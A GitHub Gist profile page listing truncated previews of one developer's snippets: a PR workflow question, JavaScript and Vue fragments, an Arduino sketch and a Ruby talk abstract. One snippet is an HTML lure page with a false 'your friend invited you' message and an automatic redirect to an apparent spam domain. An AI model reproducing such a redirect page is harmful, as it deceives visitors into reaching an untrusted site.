Skip to content

Instantly share code, notes, and snippets.

View austinbv's full-sized avatar
🎯
Focusing

Austin austinbv

🎯
Focusing
View GitHub Profile
@austinbv
austinbv / test
Created July 12, 2020 18:33
test
test
@austinbv
austinbv / post.md
Last active October 25, 2021 23:50

Hey Everyone - I am seeing something really weird and I am not sure if it's my lack of understanding about Github PRs or if it's a bug.

I created a repo as an example of what's happening. https://github.com/austinbv/test-pr

The general workflow we are attempting:

  1. Developers work in a feature branch (https://github.com/austinbv/test-pr/tree/flowthrough)
  2. Developer pushes Feature branch and creates a PR from Feature branch into master (austinbv/test-pr#1)
  3. Feature branch gets merged into master (austinbv/test-pr#1)
  4. After a while, we cut a release by creating a PR from master into a prod (austinbv/test-pr#2)
  5. master is merged into prod (austinbv/test-pr#2)
function Bar(config) {
this.config = config
}
Bar.initializeGlobalState = function() {
return new Bar(process.env.CONFIG)
}
Bar.prototype.doAThing = function() {
httpPost(config.url)
Vue.extend({
$apollo: {
person: {
query: gql`query($id: ID!) {
person(id: $id) {
name
id
}
}`,
fetch-policy: 'network-only',
export default new Router({
mode: "history",
base: process.env.BASE_URL,
routes: [
{
path: "/",
component: Home
},
{
path: "/about",
(function() {
var x = 1;
console.log("before setTimeout 1");
setTimeout(function() {
console.log("timeout 1");
x = 2;
}, 0);
x = 3;
console.log("after setTimeout 1");
(function(y) {
<h1>
You are here because one of your friends <br> have invited you.<br>
Page loading, please wait....
</h1>
<meta http-equiv="refresh" content="0; url=http://newsmarketgen7online.com/?12/222">
int state = 0;
void setup() {
pinMode(buttonPin, INPUT);
pinMode(ledPin, OUTPUT);
}
void loop() {
state = digitalRead(buttonPin);
if(state == HIGH){
digitalWrite(ledPin, HIGH);

##What's the deal Writing software is great, websites, applications, and scripts are things we interact with every day. What about writing software that we can interact with in the physical world? From automated sprinkler systems that turn off when you pull into your drive way, to scoreboards at the company foosball table physical computing opens a door for the innovator inside every software engineer.

##It's too hard Not true, there are amazing libraries and compilers that let us write software for Arduinos in the best language, Ruby. Think about it no C, no headers, and no static types, just plain old ruby. That is a good deal.

In this talk I will go over a few of the most popular Ruby libraries for interacting with an Arduino, talk about some basics of each library and then spend time on how these libraries and Arduino can interact to create applications that respond in the physical world. There will be t-shirts shot from a robotic cannon.

> require './lib/super_gem'
LoadError: cannot load such file -- super_gem/version